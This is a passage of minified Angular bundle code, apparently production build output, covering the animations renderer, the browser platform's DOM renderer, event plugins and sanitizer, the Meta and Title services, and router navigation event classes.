e=this._nextAnimationId.toString();this._nextAnimationId++;const n=Array.isArray(t)?(0,r.vP)(t):t;return Te(this._renderer,null,e,"register",[n]),new Ee(e,this._renderer)}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(i.FYo),i.LFG(Ce.K0))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})();class Ee extends r.LC{constructor(t,e){super(),this._id=t,this._renderer=e}create(t,e){return new ke(this._id,t,e||{},this._renderer)}}class ke{constructor(t,e,n,i){this.id=t,this.element=e,this._renderer=i,this.parentPlayer=null,this._started=!1,this.totalTime=0,this._command("create",n)}_listen(t,e){return this._renderer.listen(this.element,`@@${this.id}:${t}`,e)}_command(t,...e){return Te(this._renderer,this.element,this.id,t,e)}onDone(t){this._listen("done",t)}onStart(t){this._listen("start",t)}onDestroy(t){this._listen("destroy",t)}init(){this._command("init")}hasStarted(){return this._started}play(){this._command("play"),this._started=!0}pause(){this._command("pause")}restart(){this._command("restart")}finish(){this._command("finish")}destroy(){this._command("destroy")}reset(){this._command("reset"),this._started=!1}setPosition(t){this._command("setPosition",t)}getPosition(){var t,e;return null!==(e=null===(t=this._renderer.engine.players[+this.id])||void 0===t?void 0:t.getPosition())&&void 0!==e?e:0}}function Te(t,e,n,i,s){return t.setProperty(e,`@@${n}:${i}`,s)}const Ae="@.disabled";let Ie=(()=>{class t{constructor(t,e,n){this.delegate=t,this.engine=e,this._zone=n,this._currentId=0,this._microtaskId=1,this._animationCallbacksBuffer=[],this._rendererCache=new Map,this._cdRecurDepth=0,this.promise=Promise.resolve(0),e.onRemovalComplete=(t,e)=>{e&&e.parentNode(t)&&e.removeChild(t.parentNode,t)}}createRenderer(t,e){const n=this.delegate.createRenderer(t,e);if(!(t&&e&&e.data&&e.data.animation)){let t=this._rendererCache.get(n);return t||(t=new Oe("",n,this.engine),this._rendererCache.set(n,t)),t}const i=e.id,s=e.id+"-"+this._currentId;this._currentId++,this.engine.register(s,t);const r=e=>{Array.isArray(e)?e.forEach(r):this.engine.registerTrigger(i,s,t,e.name,e)};return e.data.animation.forEach(r),new Re(this,s,n,this.engine)}begin(){this._cdRecurDepth++,this.delegate.begin&&this.delegate.begin()}_scheduleCountTask(){this.promise.then(()=>{this._microtaskId++})}scheduleListenerCallback(t,e,n){t>=0&&t<this._microtaskId?this._zone.run(()=>e(n)):(0==this._animationCallbacksBuffer.length&&Promise.resolve(null).then(()=>{this._zone.run(()=>{this._animationCallbacksBuffer.forEach(t=>{const[e,n]=t;e(n)}),this._animationCallbacksBuffer=[]})}),this._animationCallbacksBuffer.push([e,n]))}end(){this._cdRecurDepth--,0==this._cdRecurDepth&&this._zone.runOutsideAngular(()=>{this._scheduleCountTask(),this.engine.flush(this._microtaskId)}),this.delegate.end&&this.delegate.end()}whenRenderingDone(){return this.engine.whenRenderingDone()}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(i.FYo),i.LFG(ie),i.LFG(i.R0b))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})();class Oe{constructor(t,e,n){this.namespaceId=t,this.delegate=e,this.engine=n,this.destroyNode=this.delegate.destroyNode?t=>e.destroyNode(t):null}get data(){return this.delegate.data}destroy(){this.engine.destroy(this.namespaceId,this.delegate),this.delegate.destroy()}createElement(t,e){return this.delegate.createElement(t,e)}createComment(t){return this.delegate.createComment(t)}createText(t){return this.delegate.createText(t)}appendChild(t,e){this.delegate.appendChild(t,e),this.engine.onInsert(this.namespaceId,e,t,!1)}insertBefore(t,e,n,i=!0){this.delegate.insertBefore(t,e,n),this.engine.onInsert(this.namespaceId,e,t,i)}removeChild(t,e,n){this.engine.onRemove(this.namespaceId,e,this.delegate,n)}selectRootElement(t,e){return this.delegate.selectRootElement(t,e)}parentNode(t){return this.delegate.parentNode(t)}nextSibling(t){return this.delegate.nextSibling(t)}setAttribute(t,e,n,i){this.delegate.setAttribute(t,e,n,i)}removeAttribute(t,e,n){this.delegate.removeAttribute(t,e,n)}addClass(t,e){this.delegate.addClass(t,e)}removeClass(t,e){this.delegate.removeClass(t,e)}setStyle(t,e,n,i){this.delegate.setStyle(t,e,n,i)}removeStyle(t,e,n){this.delegate.removeStyle(t,e,n)}setProperty(t,e,n){"@"==e.charAt(0)&&e==Ae?this.disableAnimations(t,!!n):this.delegate.setProperty(t,e,n)}setValue(t,e){this.delegate.setValue(t,e)}listen(t,e,n){return this.delegate.listen(t,e,n)}disableAnimations(t,e){this.engine.disableAnimations(t,e)}}class Re extends Oe{constructor(t,e,n,i){super(e,n,i),this.factory=t,this.namespaceId=e}setProperty(t,e,n){"@"==e.charAt(0)?"."==e.charAt(1)&&e==Ae?this.disableAnimations(t,n=void 0===n||!!n):this.engine.process(this.namespaceId,t,e.substr(1),n):this.delegate.setProperty(t,e,n)}listen(t,e,n){if("@"==e.charAt(0)){const i=function(t){switch(t){case"body":return document.body;case"document":return document;case"window":return window;default:return t}}(t);let s=e.substr(1),r="";return"@"!=s.charAt(0)&&([s,r]=function(t){const e=t.indexOf(".");return[t.substring(0,e),t.substr(e+1)]}(s)),this.engine.listen(this.namespaceId,i,s,r,t=>{this.factory.scheduleListenerCallback(t._data||-1,n,t)})}return this.delegate.listen(t,e,n)}}let Pe=(()=>{class t extends ie{constructor(t,e,n){super(t.body,e,n)}ngOnDestroy(){this.flush()}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(Ce.K0),i.LFG(T),i.LFG(Ct))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})();const Ne=new i.OlP("AnimationModuleType"),De=[{provide:r._j,useClass:Se},{provide:Ct,useFactory:function(){return new St}},{provide:ie,useClass:Pe},{provide:i.FYo,useFactory:function(t,e,n){return new Ie(t,e,n)},deps:[s.se,ie,i.R0b]}],Le=[{provide:T,useFactory:function(){return"function"==typeof xe()?new we:new be}},{provide:Ne,useValue:"BrowserAnimations"},...De],Me=[{provide:T,useClass:k},{provide:Ne,useValue:"NoopAnimations"},...De];let Fe=(()=>{class t{static withConfig(e){return{ngModule:t,providers:e.disableAnimations?Me:Le}}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({providers:Le,imports:[s.b2]}),t})()},71570:function(t,e,n){"use strict";n.d(e,{b2:function(){return F},H7:function(){return N},h_:function(){return B},Dx:function(){return V},q6:function(){return L},se:function(){return C}});var i=n(54364),s=n(2316);class r extends i.w_{constructor(){super(...arguments),this.supportsDOMEvents=!0}}class o extends r{static makeCurrent(){(0,i.HT)(new o)}onAndCancel(t,e,n){return t.addEventListener(e,n,!1),()=>{t.removeEventListener(e,n,!1)}}dispatchEvent(t,e){t.dispatchEvent(e)}remove(t){t.parentNode&&t.parentNode.removeChild(t)}createElement(t,e){return(e=e||this.getDefaultDocument()).createElement(t)}createHtmlDocument(){return document.implementation.createHTMLDocument("fakeTitle")}getDefaultDocument(){return document}isElementNode(t){return t.nodeType===Node.ELEMENT_NODE}isShadowRoot(t){return t instanceof DocumentFragment}getGlobalEventTarget(t,e){return"window"===e?window:"document"===e?t:"body"===e?t.body:null}getBaseHref(t){const e=(c=c||document.querySelector("base"),c?c.getAttribute("href"):null);return null==e?null:function(t){a=a||document.createElement("a"),a.setAttribute("href",t);const e=a.pathname;return"/"===e.charAt(0)?e:`/${e}`}(e)}resetBaseElement(){c=null}getUserAgent(){return window.navigator.userAgent}getCookie(t){return(0,i.Mx)(document.cookie,t)}}let a,c=null;const l=new s.OlP("TRANSITION_ID"),u=[{provide:s.ip1,useFactory:function(t,e,n){return()=>{n.get(s.CZH).donePromise.then(()=>{const n=(0,i.q)(),s=e.querySelectorAll(`style[ng-transition="${t}"]`);for(let t=0;t<s.length;t++)n.remove(s[t])})}},deps:[l,i.K0,s.zs3],multi:!0}];class h{static init(){(0,s.VLi)(new h)}addToWindow(t){s.dqk.getAngularTestability=(e,n=!0)=>{const i=t.findTestabilityInTree(e,n);if(null==i)throw new Error("Could not find testability for element.");return i},s.dqk.getAllAngularTestabilities=()=>t.getAllTestabilities(),s.dqk.getAllAngularRootElements=()=>t.getAllRootElements(),s.dqk.frameworkStabilizers||(s.dqk.frameworkStabilizers=[]),s.dqk.frameworkStabilizers.push(t=>{const e=s.dqk.getAllAngularTestabilities();let n=e.length,i=!1;const r=function(e){i=i||e,n--,0==n&&t(i)};e.forEach(function(t){t.whenStable(r)})})}findTestabilityInTree(t,e,n){if(null==e)return null;const s=t.getTestability(e);return null!=s?s:n?(0,i.q)().isShadowRoot(e)?this.findTestabilityInTree(t,e.host,!0):this.findTestabilityInTree(t,e.parentElement,!0):null}}let d=(()=>{class t{build(){return new XMLHttpRequest}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();const p=new s.OlP("EventManagerPlugins");let f=(()=>{class t{constructor(t,e){this._zone=e,this._eventNameToPlugin=new Map,t.forEach(t=>t.manager=this),this._plugins=t.slice().reverse()}addEventListener(t,e,n){return this._findPluginFor(e).addEventListener(t,e,n)}addGlobalEventListener(t,e,n){return this._findPluginFor(e).addGlobalEventListener(t,e,n)}getZone(){return this._zone}_findPluginFor(t){const e=this._eventNameToPlugin.get(t);if(e)return e;const n=this._plugins;for(let i=0;i<n.length;i++){const e=n[i];if(e.supports(t))return this._eventNameToPlugin.set(t,e),e}throw new Error(`No event manager plugin found for event ${t}`)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(p),s.LFG(s.R0b))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();class m{constructor(t){this._doc=t}addGlobalEventListener(t,e,n){const s=(0,i.q)().getGlobalEventTarget(this._doc,t);if(!s)throw new Error(`Unsupported event target ${s} for event ${e}`);return this.addEventListener(s,e,n)}}let g=(()=>{class t{constructor(){this._stylesSet=new Set}addStyles(t){const e=new Set;t.forEach(t=>{this._stylesSet.has(t)||(this._stylesSet.add(t),e.add(t))}),this.onStylesAdded(e)}onStylesAdded(t){}getAllStyles(){return Array.from(this._stylesSet)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})(),_=(()=>{class t extends g{constructor(t){super(),this._doc=t,this._hostNodes=new Map,this._hostNodes.set(t.head,[])}_addStylesToHost(t,e,n){t.forEach(t=>{const i=this._doc.createElement("style");i.textContent=t,n.push(e.appendChild(i))})}addHost(t){const e=[];this._addStylesToHost(this._stylesSet,t,e),this._hostNodes.set(t,e)}removeHost(t){const e=this._hostNodes.get(t);e&&e.forEach(v),this._hostNodes.delete(t)}onStylesAdded(t){this._hostNodes.forEach((e,n)=>{this._addStylesToHost(t,n,e)})}ngOnDestroy(){this._hostNodes.forEach(t=>t.forEach(v))}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();function v(t){(0,i.q)().remove(t)}const b={svg:"http://www.w3.org/2000/svg",xhtml:"http://www.w3.org/1999/xhtml",xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"},y=/%COMP%/g;function w(t,e,n){for(let i=0;i<e.length;i++){let s=e[i];Array.isArray(s)?w(t,s,n):(s=s.replace(y,t),n.push(s))}return n}function x(t){return e=>{if("__ngUnwrap__"===e)return t;!1===t(e)&&(e.preventDefault(),e.returnValue=!1)}}let C=(()=>{class t{constructor(t,e,n){this.eventManager=t,this.sharedStylesHost=e,this.appId=n,this.rendererByCompId=new Map,this.defaultRenderer=new S(t)}createRenderer(t,e){if(!t||!e)return this.defaultRenderer;switch(e.encapsulation){case s.ifc.Emulated:{let n=this.rendererByCompId.get(e.id);return n||(n=new E(this.eventManager,this.sharedStylesHost,e,this.appId),this.rendererByCompId.set(e.id,n)),n.applyToHost(t),n}case 1:case s.ifc.ShadowDom:return new k(this.eventManager,this.sharedStylesHost,t,e);default:if(!this.rendererByCompId.has(e.id)){const t=w(e.id,e.styles,[]);this.sharedStylesHost.addStyles(t),this.rendererByCompId.set(e.id,this.defaultRenderer)}return this.defaultRenderer}}begin(){}end(){}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(f),s.LFG(_),s.LFG(s.AFp))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();class S{constructor(t){this.eventManager=t,this.data=Object.create(null)}destroy(){}createElement(t,e){return e?document.createElementNS(b[e]||e,t):document.createElement(t)}createComment(t){return document.createComment(t)}createText(t){return document.createTextNode(t)}appendChild(t,e){t.appendChild(e)}insertBefore(t,e,n){t&&t.insertBefore(e,n)}removeChild(t,e){t&&t.removeChild(e)}selectRootElement(t,e){let n="string"==typeof t?document.querySelector(t):t;if(!n)throw new Error(`The selector "${t}" did not match any elements`);return e||(n.textContent=""),n}parentNode(t){return t.parentNode}nextSibling(t){return t.nextSibling}setAttribute(t,e,n,i){if(i){e=i+":"+e;const s=b[i];s?t.setAttributeNS(s,e,n):t.setAttribute(e,n)}else t.setAttribute(e,n)}removeAttribute(t,e,n){if(n){const i=b[n];i?t.removeAttributeNS(i,e):t.removeAttribute(`${n}:${e}`)}else t.removeAttribute(e)}addClass(t,e){t.classList.add(e)}removeClass(t,e){t.classList.remove(e)}setStyle(t,e,n,i){i&(s.JOm.DashCase|s.JOm.Important)?t.style.setProperty(e,n,i&s.JOm.Important?"important":""):t.style[e]=n}removeStyle(t,e,n){n&s.JOm.DashCase?t.style.removeProperty(e):t.style[e]=""}setProperty(t,e,n){t[e]=n}setValue(t,e){t.nodeValue=e}listen(t,e,n){return"string"==typeof t?this.eventManager.addGlobalEventListener(t,e,x(n)):this.eventManager.addEventListener(t,e,x(n))}}class E extends S{constructor(t,e,n,i){super(t),this.component=n;const s=w(i+"-"+n.id,n.styles,[]);e.addStyles(s),this.contentAttr="_ngcontent-%COMP%".replace(y,i+"-"+n.id),this.hostAttr="_nghost-%COMP%".replace(y,i+"-"+n.id)}applyToHost(t){super.setAttribute(t,this.hostAttr,"")}createElement(t,e){const n=super.createElement(t,e);return super.setAttribute(n,this.contentAttr,""),n}}class k extends S{constructor(t,e,n,i){super(t),this.sharedStylesHost=e,this.hostEl=n,this.shadowRoot=n.attachShadow({mode:"open"}),this.sharedStylesHost.addHost(this.shadowRoot);const s=w(i.id,i.styles,[]);for(let r=0;r<s.length;r++){const t=document.createElement("style");t.textContent=s[r],this.shadowRoot.appendChild(t)}}nodeOrShadowRoot(t){return t===this.hostEl?this.shadowRoot:t}destroy(){this.sharedStylesHost.removeHost(this.shadowRoot)}appendChild(t,e){return super.appendChild(this.nodeOrShadowRoot(t),e)}insertBefore(t,e,n){return super.insertBefore(this.nodeOrShadowRoot(t),e,n)}removeChild(t,e){return super.removeChild(this.nodeOrShadowRoot(t),e)}parentNode(t){return this.nodeOrShadowRoot(super.parentNode(this.nodeOrShadowRoot(t)))}}let T=(()=>{class t extends m{constructor(t){super(t)}supports(t){return!0}addEventListener(t,e,n){return t.addEventListener(e,n,!1),()=>this.removeEventListener(t,e,n)}removeEventListener(t,e,n){return t.removeEventListener(e,n)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();const A=["alt","control","meta","shift"],I={"\b":"Backspace","\t":"Tab","\x7f":"Delete","\x1b":"Escape",Del:"Delete",Esc:"Escape",Left:"ArrowLeft",Right:"ArrowRight",Up:"ArrowUp",Down:"ArrowDown",Menu:"ContextMenu",Scroll:"ScrollLock",Win:"OS"},O={A:"1",B:"2",C:"3",D:"4",E:"5",F:"6",G:"7",H:"8",I:"9",J:"*",K:"+",M:"-",N:".",O:"/","`":"0","\x90":"NumLock"},R={alt:t=>t.altKey,control:t=>t.ctrlKey,meta:t=>t.metaKey,shift:t=>t.shiftKey};let P=(()=>{class t extends m{constructor(t){super(t)}supports(e){return null!=t.parseEventName(e)}addEventListener(e,n,s){const r=t.parseEventName(n),o=t.eventCallback(r.fullKey,s,this.manager.getZone());return this.manager.getZone().runOutsideAngular(()=>(0,i.q)().onAndCancel(e,r.domEventName,o))}static parseEventName(e){const n=e.toLowerCase().split("."),i=n.shift();if(0===n.length||"keydown"!==i&&"keyup"!==i)return null;const s=t._normalizeKey(n.pop());let r="";if(A.forEach(t=>{const e=n.indexOf(t);e>-1&&(n.splice(e,1),r+=t+".")}),r+=s,0!=n.length||0===s.length)return null;const o={};return o.domEventName=i,o.fullKey=r,o}static getEventFullKey(t){let e="",n=function(t){let e=t.key;if(null==e){if(e=t.keyIdentifier,null==e)return"Unidentified";e.startsWith("U+")&&(e=String.fromCharCode(parseInt(e.substring(2),16)),3===t.location&&O.hasOwnProperty(e)&&(e=O[e]))}return I[e]||e}(t);return n=n.toLowerCase()," "===n?n="space":"."===n&&(n="dot"),A.forEach(i=>{i!=n&&R[i](t)&&(e+=i+".")}),e+=n,e}static eventCallback(e,n,i){return s=>{t.getEventFullKey(s)===e&&i.runGuarded(()=>n(s))}}static _normalizeKey(t){switch(t){case"esc":return"escape";default:return t}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})(),N=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=(0,s.Yz7)({factory:function(){return(0,s.LFG)(D)},token:t,providedIn:"root"}),t})(),D=(()=>{class t extends N{constructor(t){super(),this._doc=t}sanitize(t,e){if(null==e)return null;switch(t){case s.q3G.NONE:return e;case s.q3G.HTML:return(0,s.qzn)(e,"HTML")?(0,s.z3N)(e):(0,s.EiD)(this._doc,String(e)).toString();case s.q3G.STYLE:return(0,s.qzn)(e,"Style")?(0,s.z3N)(e):e;case s.q3G.SCRIPT:if((0,s.qzn)(e,"Script"))return(0,s.z3N)(e);throw new Error("unsafe value used in a script context");case s.q3G.URL:return(0,s.yhl)(e),(0,s.qzn)(e,"URL")?(0,s.z3N)(e):(0,s.mCW)(String(e));case s.q3G.RESOURCE_URL:if((0,s.qzn)(e,"ResourceURL"))return(0,s.z3N)(e);throw new Error("unsafe value used in a resource URL context (see https://g.co/ng/security#xss)");default:throw new Error(`Unexpected SecurityContext ${t} (see https://g.co/ng/security#xss)`)}}bypassSecurityTrustHtml(t){return(0,s.JVY)(t)}bypassSecurityTrustStyle(t){return(0,s.L6k)(t)}bypassSecurityTrustScript(t){return(0,s.eBb)(t)}bypassSecurityTrustUrl(t){return(0,s.LAX)(t)}bypassSecurityTrustResourceUrl(t){return(0,s.pB0)(t)}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0))},t.\u0275prov=(0,s.Yz7)({factory:function(){return function(t){return new D(t.get(i.K0))}((0,s.LFG)(s.gxx))},token:t,providedIn:"root"}),t})();const L=(0,s.eFA)(s._c5,"browser",[{provide:s.Lbi,useValue:i.bD},{provide:s.g9A,useValue:function(){o.makeCurrent(),h.init()},multi:!0},{provide:i.K0,useFactory:function(){return(0,s.RDi)(document),document},deps:[]}]),M=[[],{provide:s.zSh,useValue:"root"},{provide:s.qLn,useFactory:function(){return new s.qLn},deps:[]},{provide:p,useClass:T,multi:!0,deps:[i.K0,s.R0b,s.Lbi]},{provide:p,useClass:P,multi:!0,deps:[i.K0]},[],{provide:C,useClass:C,deps:[f,_,s.AFp]},{provide:s.FYo,useExisting:C},{provide:g,useExisting:_},{provide:_,useClass:_,deps:[i.K0]},{provide:s.dDg,useClass:s.dDg,deps:[s.R0b]},{provide:f,useClass:f,deps:[p,s.R0b]},{provide:i.JF,useClass:d,deps:[]},[]];let F=(()=>{class t{constructor(t){if(t)throw new Error("BrowserModule has already been loaded. If you need access to common directives such as NgIf and NgFor from a lazy loaded module, import CommonModule instead.")}static withServerTransition(e){return{ngModule:t,providers:[{provide:s.AFp,useValue:e.appId},{provide:l,useExisting:s.AFp},u]}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(t,12))},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({providers:M,imports:[i.ez,s.hGG]}),t})();function U(){return new B((0,s.LFG)(i.K0))}let B=(()=>{class t{constructor(t){this._doc=t,this._dom=(0,i.q)()}addTag(t,e=!1){return t?this._getOrCreateElement(t,e):null}addTags(t,e=!1){return t?t.reduce((t,n)=>(n&&t.push(this._getOrCreateElement(n,e)),t),[]):[]}getTag(t){return t&&this._doc.querySelector(`meta[${t}]`)||null}getTags(t){if(!t)return[];const e=this._doc.querySelectorAll(`meta[${t}]`);return e?[].slice.call(e):[]}updateTag(t,e){if(!t)return null;e=e||this._parseSelector(t);const n=this.getTag(e);return n?this._setMetaElementAttributes(t,n):this._getOrCreateElement(t,!0)}removeTag(t){this.removeTagElement(this.getTag(t))}removeTagElement(t){t&&this._dom.remove(t)}_getOrCreateElement(t,e=!1){if(!e){const e=this._parseSelector(t),n=this.getTags(e).filter(e=>this._containsAttributes(t,e))[0];if(void 0!==n)return n}const n=this._dom.createElement("meta");return this._setMetaElementAttributes(t,n),this._doc.getElementsByTagName("head")[0].appendChild(n),n}_setMetaElementAttributes(t,e){return Object.keys(t).forEach(n=>e.setAttribute(this._getMetaKeyMap(n),t[n])),e}_parseSelector(t){const e=t.name?"name":"property";return`${e}="${t[e]}"`}_containsAttributes(t,e){return Object.keys(t).every(n=>e.getAttribute(this._getMetaKeyMap(n))===t[n])}_getMetaKeyMap(t){return j[t]||t}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0))},t.\u0275prov=(0,s.Yz7)({factory:U,token:t,providedIn:"root"}),t})();const j={httpEquiv:"http-equiv"};function H(){return new V((0,s.LFG)(i.K0))}let V=(()=>{class t{constructor(t){this._doc=t}getTitle(){return this._doc.title}setTitle(t){this._doc.title=t||""}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(i.K0))},t.\u0275prov=(0,s.Yz7)({factory:H,token:t,providedIn:"root"}),t})();"undefined"!=typeof window&&window},47532:function(t,e,n){"use strict";n.d(e,{gz:function(){return Xt},m2:function(){return z},OD:function(){return $},F0:function(){return xn},sj:function(){return q},yS:function(){return Sn},Bz:function(){return Mn},lC:function(){return kn},R9:function(){return J}});var i=n(54364),s=n(2316);const r=(()=>{function t(){return Error.call(this),this.message="no elements in sequence",this.name="EmptyError",this}return t.prototype=Object.create(Error.prototype),t})();var o=n(30400),a=n(81134),c=n(76491),l=n(79097),u=n(89544),h=n(83972),d=n(58640),p=n(8117),f=n(92494),m=n(79441),g=n(71003);function _(t,e){let n=!1;return arguments.length>=2&&(n=!0),function(i){return i.lift(new v(t,e,n))}}class v{constructor(t,e,n=!1){this.accumulator=t,this.seed=e,this.hasSeed=n}call(t,e){return e.subscribe(new b(t,this.accumulator,this.seed,this.hasSeed))}}class b extends g.L{constructor(t,e,n,i){super(t),this.accumulator=e,this._seed=n,this.hasSeed=i,this.index=0}get seed(){return this._seed}set seed(t){this.hasSeed=!0,this._seed=t}_next(t){if(this.hasSeed)return this._tryNext(t);this.seed=t,this.destination.next(t)}_tryNext(t){const e=this.index++;let n;try{n=this.accumulator(this.seed,t,e)}catch(i){this.destination.error(i)}this.seed=n,this.destination.next(n)}}var y=n(9170),w=n(84873);function x(t){return function(e){return 0===t?(0,p.c)():e.lift(new C(t))}}class C{constructor(t){if(this.total=t,this.total<0)throw new w.W}call(t,e){return e.subscribe(new S(t,this.total))}}class S extends g.L{constructor(t,e){super(t),this.total=e,this.ring=new Array,this.count=0}_next(t){const e=this.ring,n=this.total,i=this.count++;e.length<n?e.push(t):e[i%n]=t}_complete(){const t=this.destination;let e=this.count;if(e>0){const n=this.count>=this.total?this.total:this.count,i=this.ring;for(let s=0;s<n;s++){const s=e++%n;t.next(i[s])}}t.complete()}}function E(t=A){return e=>e.lift(new k(t))}class k{constructor(t){this.errorFactory=t}call(t,e){return e.subscribe(new T(t,this.errorFactory))}}class T extends g.L{constructor(t,e){super(t),this.errorFactory=e,this.hasValue=!1}_next(t){this.hasValue=!0,this.destination.next(t)}_complete(){if(this.hasValue)return this.destination.complete();{let e;try{e=this.errorFactory()}catch(t){e=t}this.destination.error(e)}}}function A(){return new r}function I(t=null){return e=>e.lift(new O(t))}class O{constructor(t){this.defaultValue=t}call(t,e){return e.subscribe(new R(t,this.defaultValue))}}class R extends g.L{constructor(t,e){super(t),this.defaultValue=e,this.isEmpty=!0}_next(t){this.isEmpty=!1,this.destination.next(t)}_complete(){this.isEmpty&&this.destination.next(this.defaultValue),this.destination.complete()}}var P=n(87206),N=n(53466);function D(t,e){const n=arguments.length>=2;return i=>i.pipe(t?(0,y.h)((e,n)=>t(e,n,i)):P.y,(0,N.q)(1),n?I(e):E(()=>new r))}var L=n(33927),M=n(79902),F=n(1143),U=n(18293),B=n(56816),j=n(85816),H=n(14921),V=n(97085),G=n(71435),Y=n(96324);class q{constructor(t,e){this.id=t,this.url=e}}class $ extends q{constructor(t,e,n="imperative",i=null){super(t,e),this.navigationTrigger=n,this.restoredState=i}toString(){return`NavigationStart(id: ${this.id}, url: '${this.url}')`}}class z extends q{constructor(t,e,n){super(t,e),this.urlAfterRedirects=n}toString(){return`NavigationEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}')`}}class Z extends q{constructor(t,e,n){super(t,e),this.reason=n}toString(){return`NavigationCancel(id: ${this.id}, url: '${this.url}')`}}class W extends q{constructor(t,e,n){super(t,e),this.error=n}toString(){return`NavigationError(id: ${this.id}, url: '${this.url}', error: ${this.error})`}}class J extends q{constructor(t,e,n,i){super(t,e),this.urlAfterRedirects=n,this.state=i}toString(){return`RoutesRecognized(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class Q extends q{constructor(t,e,n,i){super(t,e),this.urlAfterRedirects=n,this.state=i}toString(){return`GuardsCheckStart(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class K extends q{constructor(t,e,n,i,s){super(t,e),this.urlAfterRedirects=n,this.state=i,this.shouldActivate=s}toString(){return`GuardsCheckEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state}, shouldActivate: ${this.shouldActivate})`}}class X extends q{constructor(t,e,n,i){super(t,e),this.urlAfterRedirects=n,this.state=i}toString(){return`ResolveStart(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class tt extends q{constructor(t,e,n,i){super(t,e),this.urlAfterRedirects=n,this.state=i}toString(){return`ResolveEnd(id: ${this.id}, url: '${this.url}', urlAfterRedirects: '${this.urlAfterRedirects}', state: ${this.state})`}}class et{constructor(t){this.route=t}toString(){return`RouteConfigLoadStart(path: ${this.route.path})`}}class nt{constructor(t){this.route=t}toString(){return`RouteConfigLoadEnd(path: ${this.route.path})`}}class it{constructor(t){this.snapshot=t}toString(){return`ChildActivationStart(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class st{constructor(t){this.snapshot=t}toString(){return`ChildActivationEnd(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class rt{constructor(t){this.snapshot=t}toString(){return`ActivationStart(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class ot{constructor(t){this.snapshot=t}toString(){return`ActivationEnd(path: '${this.snapshot.routeConfig&&this.snapshot.routeConfig.path||""}')`}}class at{constructor(t,e,n){this.routerEvent=t,this.position=e,this.anchor=n}toString(){return`Scroll(anchor: '${this.anchor}', position: '${this.position?`${this.position[0]}, ${this.position[1]}`:null}')`}}const ct="primary";class lt{constructor(t){this.params=t||{}}has(t){return Object.prototype.hasOwnProperty.call(this.params,t)}get(t){if(this.has(t)){const e=this.params[t];return Array.isArray(e)?e[0]:e}return null}getAll(t){if(this.has(t)){const e=this.params[t];return Array.isArray(e)?e:[e]}return[]}get keys(){return Object.keys(this.params)}}function ut(t){return new lt(t)}const ht="ngNavigationCancelingError";function dt(t){const e=Error("NavigationCancelingError: "+t);return e[ht]=!0,e}function pt(t,e,n){const i=n.path.split("/");if(i.length>t.length||"full"===n.pathMatch&&(e.hasChildren()||i.length<t.length))return null;const s={};for(let r=0;r<i.length;r++){const e=i[r],n=t[r];if(e.startsWith(":"))s[e.substring(1)]=n;else if(e!==n.path)return null}return{consumed:t.slice(0,i.length),posParams:s}}function ft(t,e){const n=t?Object.keys(t):void 0,i=e?Object.keys(e):void 0;if(!n||!i||n.length!=i.length)return!1;let s;for(let r=0;r<n.length;r++)if(s=n[r],!mt(t[s],e[s]))return!1;return!0}function mt(t,e){if(Array.isArray(t)&&Array.isArray(e)){if(t.length!==e.length)return!1;const n=[...t].sort(),i=[...e].sort();return n.every((t,e)=>i[e]===t)}return t===e}function gt(t){return Array.prototype.concat.apply([],t)}function _t(t){return t.length>0?t[t.length-1]:null}function vt(t,e){for(const n in t)t.hasOwnProperty(n)&&e(t[n],n)}function bt(t){return(0,s.CqO)(t)?t:(0,s.QGY)(t)?(0,o.D)(Promise.resolve(t)):(0,a.of)(t)}const yt={exact:function t(e,n,i){if(!It(e.segments,n.segments)||!Et(e.segments,n.segments,i)||e.numberOfChildren!==n.numberOfChildren)return!1;for(const s in n.children)if(!e.children[s]||!t(e.children[s],n.children[s],i))return!1;return!0},subset:Ct},wt={exact:function(t,e){return ft(t,e)},subset:function(t,e){return Object.keys(e).length<=Object.keys(t).length&&Object.keys(e).every(n=>mt(t[n],e[n]))},ignored:()=>!0};function xt(t,e,n){return yt[n.paths](t.root,e.root,n.matrixParams)&&wt[n.queryParams](t.queryParams,e.queryParams)&&!("exact"===n.fragment&&t.fragment!==e.fragment)}function Ct(t,e,n){return 